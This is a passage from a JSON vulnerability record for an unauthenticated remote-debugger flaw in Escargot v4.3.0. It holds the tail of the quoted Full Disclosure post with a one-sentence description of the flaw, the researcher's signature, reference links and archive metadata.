the\ndebugger accepted an unauthenticated session, evaluated the supplied\nJavaScript expression, and returned local file contents to the debugger\nclient.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/109"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/109"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/109"
],
"discovery": "EXTERNAL"
},
"title": "Escargot v4.3.0-214-gfaee4437 Unauthenticated Remote Debugger Allows Arbitrary JavaScript Evaluation and Local File Disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0081",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/109",
"automated": true,
"contentSha256": "28cd25d01ae4f1697daac4e44a6e8bccd50f4f79a2eb2e9f56308194335f7b3a",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/109",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T12:46:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0081"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}